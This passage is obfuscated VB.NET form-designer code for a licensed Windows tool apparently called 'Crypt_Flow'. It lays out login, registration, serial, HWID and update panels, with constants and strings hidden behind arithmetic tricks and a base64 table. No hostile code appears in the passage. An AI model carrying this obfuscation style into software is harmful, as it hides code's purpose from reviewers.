System.Windows.Forms.HorizontalAlignment.Center + Me.Label4.AutoSize = True + Me.Label4.ForeColor = System.Drawing.Color.White + Me.Label4.Location = New System.Drawing.Point((2055 >> 2695), (-165 + 268)) + Me.Label4.Name = ÔÕÖ((610 + -542)) + Me.Label4.Size = New System.Drawing.Size((3021 >> 614), (841 >> -506)) + Me.Label4.TabIndex = (-109 + 150) + Me.Label4.Text = ÔÕÖ((-97 + 138)) + Me.Label5.AutoSize = True + Me.Label5.ForeColor = System.Drawing.Color.White + Me.Label5.Location = New System.Drawing.Point((2144 >> -2105), (-293 - -354)) + Me.Label5.Name = ÔÕÖ((124 Xor 57)) + Me.Label5.Size = New System.Drawing.Size((-579 Xor -635), (1878 - 1865)) + Me.Label5.TabIndex = (35 Xor 11) + Me.Label5.Text = ÔÕÖ((2251 >> 3013)) + Me.Label6.AutoSize = True + Me.Label6.ForeColor = System.Drawing.Color.White + Me.Label6.Location = New System.Drawing.Point((2119 >> 3399), (71 + -53)) + Me.Label6.Name = ÔÕÖ((152 - 81)) + Me.Label6.Size = New System.Drawing.Size((1865 >> 2789), (-2731 + 2744)) + Me.Label6.TabIndex = (116 + -77) + Me.Label6.Text = ÔÕÖ((133 - 94)) + Me.TextBox5.BackColor = System.Drawing.Color.Beige + Me.TextBox5.Font = New System.Drawing.Font(ÔÕÖ((120 >> -732)), 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType((20 >> 316), Byte)) + Me.TextBox5.Location = New System.Drawing.Point((514 >> -283), (4464 >> -25881)) + Me.TextBox5.Name = ÔÕÖ((288 Xor 360)) + Me.TextBox5.Size = New System.Drawing.Size((393 - 223), (1418 >> -2682)) + Me.TextBox5.TabIndex = (226 + -190) + Me.TextBox5.TextAlign = System.Windows.Forms.HorizontalAlignment.Center + Me.TextBox4.BackColor = System.Drawing.Color.Beige + Me.TextBox4.Font = New System.Drawing.Font(ÔÕÖ((-3045 - -3052)), 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType((-12 << 94), Byte)) + Me.TextBox4.Location = New System.Drawing.Point((4215 >> -952), (1241 >> -15900)) + Me.TextBox4.Name = ÔÕÖ((427 Xor 482)) + Me.TextBox4.Size = New System.Drawing.Size((85 << 513), (1413 >> 4518)) + Me.TextBox4.TabIndex = (336 Xor 373) + Me.TextBox4.TextAlign = System.Windows.Forms.HorizontalAlignment.Center + Me.TextBox4.UseSystemPasswordChar = True + Me.Loading_pan.Border1 = System.Drawing.Color.FromArgb(CType(CType((-654 Xor -728), Byte), Integer), CType(CType((80 << 190), Byte), Integer), CType(CType((80 >> 190), Byte), Integer), CType(CType((35 >> 11), Byte), Integer)) + Me.Loading_pan.Border2 = System.Drawing.Color.FromArgb(CType(CType((3801 >> -88), Byte), Integer), CType(CType((130887 >> -40663), Byte), Integer), CType(CType((130847 >> -80727), Byte), Integer), CType(CType((130874 >> -4567), Byte), Integer)) + Me.Loading_pan.Controls.Add(Me.ProgressBar2) + Me.Loading_pan.Controls.Add(Me.TextBox6) + Me.Loading_pan.Controls.Add(Me.Label7) + Me.Loading_pan.FillColor = System.Drawing.Color.Transparent + Me.Loading_pan.Location = New System.Drawing.Point((1232 - 1220), (243 - -197)) + Me.Loading_pan.Name = ÔÕÖ((-438 Xor -512)) + Me.Loading_pan.NoRounding = False + Me.Loading_pan.Size = New System.Drawing.Size((102 Xor 307), (427 >> 482)) + Me.Loading_pan.TabIndex = (253 >> 166) + Me.Loading_pan.Text = ÔÕÖ((1214 >> -2172)) + Me.Loading_pan.Visible = False + Me.ProgressBar2.Color1 = System.Drawing.Color.FromArgb(CType(CType((-259 + 265), Byte), Integer), CType(CType((664 - 568), Byte), Integer), CType(CType((2384 >> -3804), Byte), Integer)) + Me.ProgressBar2.Color2 = System.Drawing.Color.FromArgb(CType(CType((4539 >> -5850), Byte), Integer), CType(CType((185 + -18), Byte), Integer), CType(CType((546 Xor 766), Byte), Integer)) + Me.ProgressBar2.Current = 0.0R + Me.ProgressBar2.Location = New System.Drawing.Point((3886 >> -5464), (662 >> 3140)) + Me.ProgressBar2.Maximum = 100.0R + Me.ProgressBar2.Name = ÔÕÖ((1230 >> -1116)) + Me.ProgressBar2.Progress = 0.0R + Me.ProgressBar2.Size = New System.Drawing.Size((-384 Xor -76), (1680 + -1657)) + Me.ProgressBar2.TabIndex = (8837 >> -12792) + Me.ProgressBar2.Text = ÔÕÖ((366 + -289)) + Me.TextBox6.BackColor = System.Drawing.Color.FromArgb(CType(CType((35345 >> -37206), Byte), Integer), CType(CType((35782 >> 12714), Byte), Integer), CType(CType((35634 >> -33430), Byte), Integer)) + Me.TextBox6.BorderStyle = System.Windows.Forms.BorderStyle.None + Me.TextBox6.Cursor = System.Windows.Forms.Cursors.Arrow + Me.TextBox6.Font = New System.Drawing.Font(ÔÕÖ((122 >> -2812)), 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType((190 >> 153), Byte)) + Me.TextBox6.ForeColor = System.Drawing.Color.FromArgb(CType(CType((24680 >> -17817), Byte), Integer), CType(CType((169 >> -136), Byte), Integer), CType(CType((80 >> 339), Byte), Integer)) + Me.TextBox6.Location = New System.Drawing.Point((3849 >> 2536), (147 >> -1471)) + Me.TextBox6.Name = ÔÕÖ((167 Xor 233)) + Me.TextBox6.ReadOnly = True + Me.TextBox6.Size = New System.Drawing.Size((715 - 407), (2041 >> -1081)) + Me.TextBox6.TabIndex = (-185 - -217) + Me.TextBox6.TabStop = False + Me.TextBox6.TextAlign = System.Windows.Forms.HorizontalAlignment.Center + Me.Label7.AutoSize = True + Me.Label7.Font = New System.Drawing.Font(ÔÕÖ((922 >> 2183)), 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType((29 >> 165), Byte)) + Me.Label7.ForeColor = System.Drawing.Color.White + Me.Label7.Location = New System.Drawing.Point((1596 >> 2631), (323 >> 260)) + Me.Label7.Name = ÔÕÖ((-8 - -87)) + Me.Label7.Size = New System.Drawing.Size((206 + -139), (4313 >> 5416)) + Me.Label7.TabIndex = (169 + -136) + Me.Label7.Text = ÔÕÖ((1736 + -1656)) + Me.Update_pan.Border1 = System.Drawing.Color.FromArgb(CType(CType((2901 >> -2747), Byte), Integer), CType(CType((33 >> -300), Byte), Integer), CType(CType((161 >> -263), Byte), Integer), CType(CType((247 >> -138), Byte), Integer)) + Me.Update_pan.Border2 = System.Drawing.Color.FromArgb(CType(CType((3609 >> 584), Byte), Integer), CType(CType((65390 >> -145432), Byte), Integer), CType(CType((130883 >> -203735), Byte), Integer), CType(CType((-73672 - -73927), Byte), Integer)) + Me.Update_pan.Controls.Add(Me.ProgressBar3) + Me.Update_pan.Controls.Add(Me.Button8) + Me.Update_pan.Controls.Add(Me.Button7) + Me.Update_pan.Controls.Add(Me.Label16) + Me.Update_pan.Controls.Add(Me.Label15) + Me.Update_pan.Controls.Add(Me.TextBox8) + Me.Update_pan.Controls.Add(Me.TextBox7) + Me.Update_pan.FillColor = System.Drawing.Color.Transparent + Me.Update_pan.Location = New System.Drawing.Point((3106 >> 3368), (122 Or 230)) + Me.Update_pan.Name = ÔÕÖ((588 - 507)) + Me.Update_pan.NoRounding = False + Me.Update_pan.Size = New System.Drawing.Size((567 + -226), (397 - 217)) + Me.Update_pan.TabIndex = (1272 >> 489) + Me.Update_pan.Text = ÔÕÖ((-12 + 94)) + Me.ProgressBar3.Color1 = System.Drawing.Color.FromArgb(CType(CType((290 - 284), Byte), Integer), CType(CType((-1100 Xor -1068), Byte), Integer), CType(CType((2892 - 2743), Byte), Integer)) + Me.ProgressBar3.Color2 = System.Drawing.Color.FromArgb(CType(CType((9031 >> -409), Byte), Integer), CType(CType((-391 Xor -290), Byte), Integer), CType(CType((-698 - -918), Byte), Integer)) + Me.ProgressBar3.Current = 0.0R + Me.ProgressBar3.Location = New System.Drawing.Point((2019 >> 519), (122 Xor 230)) + Me.ProgressBar3.Maximum = 100.0R + Me.ProgressBar3.Name = ÔÕÖ((666 >> -1501)) + Me.ProgressBar3.Progress = 0.0R + Me.ProgressBar3.Size = New System.Drawing.Size((305 << -1312), (3359 >> 1672)) + Me.ProgressBar3.TabIndex = (353 >> -1373) + Me.ProgressBar3.Text = ÔÕÖ((-78 - -162)) + Me.Button8.Font = New System.Drawing.Font(ÔÕÖ((656 >> 840)), 8.0!) + Me.Button8.Location = New System.Drawing.Point((3855 >> -3832), (587 - 481)) + Me.Button8.Name = ÔÕÖ((343 >> 194)) + Me.Button8.Size = New System.Drawing.Size((305 >> -1312), (1479 >> -2362)) + Me.Button8.TabIndex = (40 Xor 3) + Me.Button8.Text = ÔÕÖ((262 + -176)) + Me.Button7.Font = New System.Drawing.Font(ÔÕÖ((640 >> -888)), 8.0!) + Me.Button7.Location = New System.Drawing.Point((7956 >> -6583), (4939 >> 582)) + Me.Button7.Name = ÔÕÖ((253 - 166)) + Me.Button7.Size = New System.Drawing.Size((-1192 + 1497), (-4265 Xor -4288)) + Me.Button7.TabIndex = (402 >> -409) + Me.Button7.Text = ÔÕÖ((1554 - 1466)) + Me.Label16.AutoSize = True + Me.Label16.BackColor = System.Drawing.Color.FromArgb(CType(CType((-43553 - -43587), Byte), Integer), CType(CType((8726 >> -22520), Byte), Integer), CType(CType((17641 >> 45225), Byte), Integer)) + Me.Label16.Font = New System.Drawing.Font(ÔÕÖ((-183 + 272)), 8.25!, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, CType((20 >> 276), Byte)) + Me.Label16.ForeColor = System.Drawing.Color.White + Me.Label16.Location = New System.Drawing.Point((-115 + 239), (13189 >> -8696)) + Me.Label16.Name = ÔÕÖ((41 Xor 115)) + Me.Label16.Size = New System.Drawing.Size((2407 >> 645), (-2066 Xor -2077)) + Me.Label16.TabIndex = (85 >> 513) + Me.Label16.Text = ÔÕÖ((253 Xor 166)) + Me.Label15.AutoSize = True + Me.Label15.BackColor = System.Drawing.Color.FromArgb(CType(CType((8751 >> 11240), Byte), Integer), CType(CType((4479 >> -11609), Byte), Integer), CType(CType((17613 >> -37847), Byte), Integer)) + Me.Label15.Font = New System.Drawing.Font(ÔÕÖ((712 >> 259)), 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType((174 >> 84), Byte)) + Me.Label15.ForeColor = System.Drawing.Color.White + Me.Label15.Location = New System.Drawing.Point((181 >> 2), (13086 >> 8552)) + Me.Label15.Name = ÔÕÖ((172 + -80)) + Me.Label15.Size = New System.Drawing.Size((-299 - -377), (105 - 92)) + Me.Label15.TabIndex = (2665 >> 390) + Me.Label15.Text = ÔÕÖ((324 - 231)) + Me.TextBox8.BackColor = System.Drawing.Color.FromArgb(CType(CType((17645 >> 45481), Byte), Integer), CType(CType((35065 >> -14358), Byte), Integer), CType(CType((8812 >> 21000), Byte), Integer)) + Me.TextBox8.BorderStyle = System.Windows.Forms.BorderStyle.None + Me.TextBox8.Cursor = System.Windows.Forms.Cursors.Arrow + Me.TextBox8.Font = New System.Drawing.Font(ÔÕÖ((3730 >> 2953)), 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType((307 >> 114), Byte)) + Me.TextBox8.ForeColor = System.Drawing.Color.White + Me.TextBox8.Location = New System.Drawing.Point((4062 >> 6664), (144 - 9)) + Me.TextBox8.Name = ÔÕÖ((168 - 74)) + Me.TextBox8.ReadOnly = True + Me.TextBox8.Size = New System.Drawing.Size((2465 >> -4381), (7736 >> 1833)) + Me.TextBox8.TabIndex = (-485 - -524) + Me.TextBox8.TabStop = False + Me.TextBox8.TextAlign = System.Windows.Forms.HorizontalAlignment.Center + Me.TextBox7.BackColor = System.Drawing.Color.FromArgb(CType(CType((17647 >> -23511), Byte), Integer), CType(CType((35308 >> -26774), Byte), Integer), CType(CType((17488 >> 44777), Byte), Integer)) + Me.TextBox7.BorderStyle = System.Windows.Forms.BorderStyle.None + Me.TextBox7.Cursor = System.Windows.Forms.Cursors.Arrow + Me.TextBox7.ForeColor = System.Drawing.Color.White + Me.TextBox7.Location = New System.Drawing.Point((243 >> 7780), (9120 >> -4503)) + Me.TextBox7.Multiline = True + Me.TextBox7.Name = ÔÕÖ((-91 - -186)) + Me.TextBox7.ReadOnly = True + Me.TextBox7.Size = New System.Drawing.Size((4928 >> 4356), (82 + -53)) + Me.TextBox7.TabIndex = (-248 + 288) + Me.TextBox7.TabStop = False + Me.TextBox7.Text = ÔÕÖ((3090 >> 2533)) & _ + ÔÕÖ((-396 Xor -491)) + Me.TextBox7.TextAlign = System.Windows.Forms.HorizontalAlignment.Center + Me.Login_pan.Border1 = System.Drawing.Color.FromArgb(CType(CType((5800 >> -9850), Byte), Integer), CType(CType((200 >> 311), Byte), Integer), CType(CType((134 >> 172), Byte), Integer), CType(CType((167 >> 233), Byte), Integer)) + Me.Login_pan.Border2 = System.Drawing.Color.FromArgb(CType(CType((3806 >> -152), Byte), Integer), CType(CType((130756 >> 232649), Byte), Integer), CType(CType((130678 >> -9335), Byte), Integer), CType(CType((130989 >> 25193), Byte), Integer)) + Me.Login_pan.Controls.Add(Me.Button11) + Me.Login_pan.Controls.Add(Me.Button1) + Me.Login_pan.Controls.Add(Me.ToolStripProgressBar1) + Me.Login_pan.Controls.Add(Me.ToolStripStatusLabel3) + Me.Login_pan.Controls.Add(Me.TextBox9) + Me.Login_pan.Controls.Add(Me.CheckBox1) + Me.Login_pan.Controls.Add(Me.Label2) + Me.Login_pan.Controls.Add(Me.Label1) + Me.Login_pan.Controls.Add(Me.TextBox2) + Me.Login_pan.Controls.Add(Me.TextBox1) + Me.Login_pan.FillColor = System.Drawing.Color.Transparent + Me.Login_pan.Location = New System.Drawing.Point((3231 >> -1816), (-291 + 341)) + Me.Login_pan.Name = ÔÕÖ((283 - 185)) + Me.Login_pan.NoRounding = False + Me.Login_pan.Size = New System.Drawing.Size((706 + -365), (782 + -584)) + Me.Login_pan.TabIndex = (372 >> -376) + Me.Login_pan.Text = ÔÕÖ((857 - 758)) + Me.Button11.Font = New System.Drawing.Font(ÔÕÖ((286 >> -793)), 8.0!) + Me.Button11.ForeColor = System.Drawing.Color.White + Me.Button11.Location = New System.Drawing.Point((8077 >> 3497), (-97 + 232)) + Me.Button11.Name = ÔÕÖ((-29 - -129)) + Me.Button11.Size = New System.Drawing.Size((1261 - 956), (5513 Xor 5525)) + Me.Button11.TabIndex = (680 Xor 666) + Me.Button11.Text = ÔÕÖ((38 + 63)) + Me.Button1.Font = New System.Drawing.Font(ÔÕÖ((347 >> -409)), 8.0!) + Me.Button1.ForeColor = System.Drawing.Color.White + Me.Button1.Location = New System.Drawing.Point((1946 >> 5799), (-144 - -245)) + Me.Button1.Name = ÔÕÖ((-203 + 305)) + Me.Button1.Size = New System.Drawing.Size((1296 + -991), (14662 >> -6071)) + Me.Button1.TabIndex = (198 >> -350) + Me.Button1.Text = ÔÕÖ((-31 Xor -126)) + Me.ToolStripProgressBar1.Color1 = System.Drawing.Color.FromArgb(CType(CType((52 >> -1277), Byte), Integer), CType(CType((5700 Xor 5668), Byte), Integer), CType(CType((1205 + -1056), Byte), Integer)) + Me.ToolStripProgressBar1.Color2 = System.Drawing.Color.FromArgb(CType(CType((8980 >> -8697), Byte), Integer), CType(CType((1340 >> -317), Byte), Integer), CType(CType((1233 + -1013), Byte), Integer)) + Me.ToolStripProgressBar1.Current = 0.0R + Me.ToolStripProgressBar1.Location = New System.Drawing.Point((3850 >> 5576), (-55 + 229)) + Me.ToolStripProgressBar1.Maximum = 100.0R + Me.ToolStripProgressBar1.Name = ÔÕÖ((-17 Xor -120)) + Me.ToolStripProgressBar1.Progress = 0.0R + Me.ToolStripProgressBar1.Size = New System.Drawing.Size((2238 Xor 2293), (-7061 + 7074)) + Me.ToolStripProgressBar1.TabIndex = (725 Xor 741) + Me.ToolStripProgressBar1.Text = ÔÕÖ((1677 >> -1788)) + Me.ToolStripStatusLabel3.AutoSize = True + Me.ToolStripStatusLabel3.ForeColor = System.Drawing.Color.FromArgb(CType(CType((233 + -9), Byte), Integer), CType(CType((-199 Xor -39), Byte), Integer), CType(CType((195 - -29), Byte), Integer)) + Me.ToolStripStatusLabel3.Location = New System.Drawing.Point((1460 Xor 1492), (134 Or 172)) + Me.ToolStripStatusLabel3.Name = ÔÕÖ((-63 + 168)) + Me.ToolStripStatusLabel3.Size = New System.Drawing.Size((1253 >> 198), (3398 >> 10280)) + Me.ToolStripStatusLabel3.TabIndex = (-1207 - -1254) + Me.ToolStripStatusLabel3.Text = ÔÕÖ((-337 - -443)) + Me.TextBox9.BackColor = System.Drawing.Color.FromArgb(CType(CType((4414 >> -47353), Byte), Integer), CType(CType((17458 >> -21463), Byte), Integer), CType(CType((34835 >> 42858), Byte), Integer)) + Me.TextBox9.BorderStyle = System.Windows.Forms.BorderStyle.None + Me.TextBox9.Cursor = System.Windows.Forms.Cursors.Arrow + Me.TextBox9.ForeColor = System.Drawing.Color.FromArgb(CType(CType((14948 - 14756), Byte), Integer), CType(CType((118 >> 51), Byte), Integer), CType(CType((206 >> -139), Byte), Integer)) + Me.TextBox9.Location = New System.Drawing.Point((8096 >> 4201), (-299 Xor -377)) + Me.TextBox9.Name = ÔÕÖ((-12 - -119)) + Me.TextBox9.ReadOnly = True + Me.TextBox9.Size = New System.Drawing.Size((-161 Xor -110), (7042 >> -8375)) + Me.TextBox9.TabIndex = (739 >> -700) + Me.TextBox9.TabStop = False + Me.TextBox9.TextAlign = System.Windows.Forms.HorizontalAlignment.Center + Me.CheckBox1.AutoSize = True + Me.CheckBox1.ForeColor = System.Drawing.Color.FromArgb(CType(CType((-1909 - -2133), Byte), Integer), CType(CType((3541 Xor 3381), Byte), Integer), CType(CType((112 << -8063), Byte), Integer)) + Me.CheckBox1.Location = New System.Drawing.Point((168 Xor 74), (1297 >> -2140)) + Me.CheckBox1.Name = ÔÕÖ((-269 + 377)) + Me.CheckBox1.Size = New System.Drawing.Size((457 Xor 407), (8974 >> 12841)) + Me.CheckBox1.TabIndex = (360 >> -829) + Me.CheckBox1.Text = ÔÕÖ((165 + -56)) + Me.CheckBox1.UseVisualStyleBackColor = True + Me.Label2.AutoSize = True + Me.Label2.ForeColor = System.Drawing.Color.FromArgb(CType(CType((14368 >> -58), Byte), Integer), CType(CType((14345 >> 10662), Byte), Integer), CType(CType((7193 >> 4357), Byte), Integer)) + Me.Label2.Location = New System.Drawing.Point((801 >> 2182), (235 >> -2526)) + Me.Label2.Name = ÔÕÖ((-56 + 166)) + Me.Label2.Size = New System.Drawing.Size((-579 - -635), (6778 >> -4823)) + Me.Label2.TabIndex = (2863 >> -2970) + Me.Label2.Text = ÔÕÖ((9087 >> 8231)) + Me.Label1.AutoSize = True + Me.Label1.ForeColor = System.Drawing.Color.FromArgb(CType(CType((-26308 + 26532), Byte), Integer), CType(CType((28738 >> 3143), Byte), Integer), CType(CType((7184 >> 4549), Byte), Integer)) + Me.Label1.Location = New System.Drawing.Point((3124 >> -408), (555 - 534)) + Me.Label1.Name = ÔÕÖ((-385 Xor -496)) + Me.Label1.Size = New System.Drawing.Size((3042 + -2984), (106 >> -9213)) + Me.Label1.TabIndex = (40 + 3) + Me.Label1.Text = ÔÕÖ((739 + -700)) + Me.TextBox2.BackColor = System.Drawing.Color.Beige + Me.TextBox2.Font = New System.Drawing.Font(ÔÕÖ((1021 >> -2585)), 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType((165 >> 73), Byte)) + Me.TextBox2.Location = New System.Drawing.Point((1141 + -1065), (222 >> 1890)) + Me.TextBox2.Name = ÔÕÖ((-473 + 585)) + Me.TextBox2.Size = New System.Drawing.Size((162 + 82), (5802 >> -24)) + Me.TextBox2.TabIndex = (337 >> -2013) + Me.TextBox2.TextAlign = System.Windows.Forms.HorizontalAlignment.Center + Me.TextBox2.UseSystemPasswordChar = True + Me.TextBox1.BackColor = System.Drawing.Color.Beige + Me.TextBox1.Font = New System.Drawing.Font(ÔÕÖ((4040 >> -503)), 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType((134 << -161), Byte)) + Me.TextBox1.Location = New System.Drawing.Point((1216 >> -3740), (4709 >> 104)) + Me.TextBox1.Name = ÔÕÖ((517 Xor 628)) + Me.TextBox1.Size = New System.Drawing.Size((510 + -266), (1417 >> -1274)) + Me.TextBox1.TabIndex = (5343 >> 1575) + Me.TextBox1.TextAlign = System.Windows.Forms.HorizontalAlignment.Center + Me.FutureTheme1.Dock = System.Windows.Forms.DockStyle.Fill + Me.FutureTheme1.Font = New System.Drawing.Font(ÔÕÖ((79 >> 69)), 7.0!, System.Drawing.FontStyle.Bold) + Me.FutureTheme1.Location = New System.Drawing.Point((134 >> -161), (41 >> 20)) + Me.FutureTheme1.Name = ÔÕÖ((-544 + 658)) + Me.FutureTheme1.Size = New System.Drawing.Size((781 Xor 1812), (2229 >> -574)) + Me.FutureTheme1.TabIndex = (181 >> -13) + Me.FutureTheme1.Text = ÔÕÖ((-278 + 393)) + Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) + Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font + Me.ClientSize = New System.Drawing.Size((2798 + -1749), (-1380 - -1937)) + Me.Controls.Add(Me.hwid_pan) + Me.Controls.Add(Me.cButton) + Me.Controls.Add(Me.mButton) + Me.Controls.Add(Me.account_pan) + Me.Controls.Add(Me.changepass_pan) + Me.Controls.Add(Me.License_pan) + Me.Controls.Add(Me.Register_pan) + Me.Controls.Add(Me.Loading_pan) + Me.Controls.Add(Me.Update_pan) + Me.Controls.Add(Me.Login_pan) + Me.Controls.Add(Me.FutureTheme1) + Me.ForeColor = System.Drawing.Color.FromArgb(CType(CType((6222 >> 4265), Byte), Integer), CType(CType((6229 >> -2359), Byte), Integer), CType(CType((3262 >> 1480), Byte), Integer)) + Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None + Me.Name = ÔÕÖ((612 + -496)) + Me.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen + Me.Text = ÔÕÖ((217 - 100)) + Me.hwid_pan.ResumeLayout(False) + Me.hwid_pan.PerformLayout() + Me.account_pan.ResumeLayout(False) + Me.changepass_pan.ResumeLayout(False) + Me.changepass_pan.PerformLayout() + Me.License_pan.ResumeLayout(False) + Me.License_pan.PerformLayout() + Me.Register_pan.ResumeLayout(False) + Me.Register_pan.PerformLayout() + Me.Loading_pan.ResumeLayout(False) + Me.Loading_pan.PerformLayout() + Me.Update_pan.ResumeLayout(False) + Me.Update_pan.PerformLayout() + Me.Login_pan.ResumeLayout(False) + Me.Login_pan.PerformLayout() + Me.ResumeLayout(False) + End Sub + Friend WithEvents FutureTheme1 As Crypt_Flow.FutureTheme + Friend WithEvents Login_pan As Crypt_Flow.GroupBox + Friend WithEvents ToolStripProgressBar1 As Crypt_Flow.FutureProgressBar + Friend WithEvents ToolStripStatusLabel3 As System.Windows.Forms.Label + Friend WithEvents TextBox9 As System.Windows.Forms.TextBox + Friend WithEvents CheckBox1 As System.Windows.Forms.CheckBox + Friend WithEvents Label2 As System.Windows.Forms.Label + Friend WithEvents Label1 As System.Windows.Forms.Label + Friend WithEvents TextBox2 As System.Windows.Forms.TextBox + Friend WithEvents TextBox1 As System.Windows.Forms.TextBox + Friend WithEvents Button11 As Crypt_Flow.FutureButton + Friend WithEvents Button1 As Crypt_Flow.FutureButton + Friend WithEvents Update_pan As Crypt_Flow.GroupBox + Friend WithEvents ProgressBar3 As Crypt_Flow.FutureProgressBar + Friend WithEvents Button8 As Crypt_Flow.FutureButton + Friend WithEvents Button7 As Crypt_Flow.FutureButton + Friend WithEvents Label16 As System.Windows.Forms.Label + Friend WithEvents Label15 As System.Windows.Forms.Label + Friend WithEvents TextBox8 As System.Windows.Forms.TextBox + Friend WithEvents TextBox7 As System.Windows.Forms.TextBox + Friend WithEvents Loading_pan As Crypt_Flow.GroupBox + Friend WithEvents ProgressBar2 As Crypt_Flow.FutureProgressBar + Friend WithEvents TextBox6 As System.Windows.Forms.TextBox + Friend WithEvents Label7 As System.Windows.Forms.Label + Friend WithEvents Register_pan As Crypt_Flow.GroupBox + Friend WithEvents TextBox20 As System.Windows.Forms.TextBox + Friend WithEvents Button3 As Crypt_Flow.FutureButton + Friend WithEvents Button9 As Crypt_Flow.FutureButton + Friend WithEvents Button5 As Crypt_Flow.FutureButton + Friend WithEvents ProgressBar1 As Crypt_Flow.FutureProgressBar + Friend WithEvents Label13 As System.Windows.Forms.Label + Friend WithEvents TextBox21 As System.Windows.Forms.TextBox + Friend WithEvents TextBox11 As System.Windows.Forms.TextBox + Friend WithEvents TextBox10 As System.Windows.Forms.TextBox + Friend WithEvents Label4 As System.Windows.Forms.Label + Friend WithEvents Label5 As System.Windows.Forms.Label + Friend WithEvents Label6 As System.Windows.Forms.Label + Friend WithEvents TextBox5 As System.Windows.Forms.TextBox + Friend WithEvents TextBox4 As System.Windows.Forms.TextBox + Friend WithEvents License_pan As Crypt_Flow.GroupBox + Friend WithEvents TextBox3 As System.Windows.Forms.TextBox + Friend WithEvents Label3 As System.Windows.Forms.Label + Friend WithEvents Button4 As Crypt_Flow.FutureButton + Friend WithEvents Button6 As Crypt_Flow.FutureButton + Friend WithEvents changepass_pan As Crypt_Flow.GroupBox + Friend WithEvents Button15 As Crypt_Flow.FutureButton + Friend WithEvents Button13 As Crypt_Flow.FutureButton + Friend WithEvents ProgressBar4 As Crypt_Flow.FutureProgressBar + Friend WithEvents TextBox19 As System.Windows.Forms.TextBox + Friend WithEvents TextBox18 As System.Windows.Forms.TextBox + Friend WithEvents TextBox17 As System.Windows.Forms.TextBox + Friend WithEvents TextBox16 As System.Windows.Forms.TextBox + Friend WithEvents TextBox15 As System.Windows.Forms.TextBox + Friend WithEvents Label12 As System.Windows.Forms.Label + Friend WithEvents TextBox14 As System.Windows.Forms.TextBox + Friend WithEvents Label11 As System.Windows.Forms.Label + Friend WithEvents Label10 As System.Windows.Forms.Label + Friend WithEvents Label8 As System.Windows.Forms.Label + Friend WithEvents TextBox13 As System.Windows.Forms.TextBox + Friend WithEvents Label9 As System.Windows.Forms.Label + Friend WithEvents TextBox12 As System.Windows.Forms.TextBox + Friend WithEvents account_pan As Crypt_Flow.GroupBox + Friend WithEvents Button14 As Crypt_Flow.FutureButton + Friend WithEvents Button2 As Crypt_Flow.FutureButton + Friend WithEvents Button10 As Crypt_Flow.FutureButton + Friend WithEvents mButton As Crypt_Flow.FutureButton + Friend WithEvents cButton As Crypt_Flow.FutureButton + Friend WithEvents FutureButton1 As Crypt_Flow.FutureButton + Friend WithEvents hwid_pan As Crypt_Flow.GroupBox + Friend WithEvents FutureButton3 As Crypt_Flow.FutureButton + Friend WithEvents FutureButton2 As Crypt_Flow.FutureButton +Friend WithEvents hwid_box As System.Windows.Forms.TextBox +End Class +Module ÎÌÌ +Public ÔÕÖ As String() = ÎÌÌ(New String() _ +{"aHdpZF9wYW4=","R3JvdXBCb3gx","VmVyZGFuYQ==", _ +"RnV0dXJlQnV0dG9uMw==","QmFjaw==","RnV0dXJlQnV0dG9uMg==", _ +"Q29weSBIV0lEIHRvIGNsaXBib2FyZA==","UGFsYXRpbm8gTGlub3R5cGU=","aHdpZF9ib3g=", _ +"Y0J1dHRvbg==","WA==","bUJ1dHRvbg==", _ +"Xw==","YWNjb3VudF9wYW4=","R3JvdXBCb3g3", _ +"RnV0dXJlQnV0dG9uMQ==","SFdJRCBHZW5lcmF0b3I=","QnV0dG9uMTQ=", _ +"QnV0dG9uMg==","UmVnaXN0ZXI=","QnV0dG9uMTA=", _ +"Q2hhbmdlIFBhc3N3b3Jk","Y2hhbmdlcGFzc19wYW4=","R3JvdXBCb3g2", _ +"QnV0dG9uMTU=","QnV0dG9uMTM=","UHJvZ3Jlc3NCYXI0", _ +"RnV0dXJlUHJvZ3Jlc3NCYXI1","VGV4dEJveDE5","VGV4dEJveDE4", _ +"VGV4dEJveDE3","VGV4dEJveDE2","VGV4dEJveDE1", _ +"TGFiZWwxMg==","Q29uZmlybTo=","VGV4dEJveDE0", _ +"TGFiZWwxMQ==","TmV3IFBhc3N3b3JkOg==","TGFiZWwxMA==", _ +"VXNlcm5hbWU6","TGFiZWw4","U3RyZW5naDo=", _ +"VGV4dEJveDEz","TGFiZWw5","T2xkIFBhc3N3b3JkOg==", _ +"VGV4dEJveDEy","TGljZW5zZV9wYW4=","R3JvdXBCb3g1", _ +"QnV0dG9uNA==","QnV0dG9uNg==","VmFsaWQ=", _ +"VGV4dEJveDM=","TGFiZWwz","U2VyaWFsOg==", _ +"UmVnaXN0ZXJfcGFu","R3JvdXBCb3g0","VGV4dEJveDIw", _ +"QnV0dG9uMw==","QnV0dG9uOQ==","QnV0dG9uNQ==", _ +"QXZhaWxhYmxlPw==","UHJvZ3Jlc3NCYXIx","RnV0dXJlUHJvZ3Jlc3NCYXI0", _ +"TGFiZWwxMw==","RS1tYWlsOg==","VGV4dEJveDIx", _ +"VGV4dEJveDEx","VGV4dEJveDEw","TGFiZWw0", _ +"TGFiZWw1","UGFzc3dvcmQ6","TGFiZWw2", _ +"VGV4dEJveDU=","VGV4dEJveDQ=","TG9hZGluZ19wYW4=", _ +"R3JvdXBCb3gz","UHJvZ3Jlc3NCYXIy","RnV0dXJlUHJvZ3Jlc3NCYXIz", _ +"VGV4dEJveDY=","TGFiZWw3","SW5pdGlhbGl6YXRpb24=", _ +"VXBkYXRlX3Bhbg==","R3JvdXBCb3gy","UHJvZ3Jlc3NCYXIz", _ +"RnV0dXJlUHJvZ3Jlc3NCYXIy","QnV0dG9uOA==","RG93bmxvYWQgTGF0ZXI=", _ 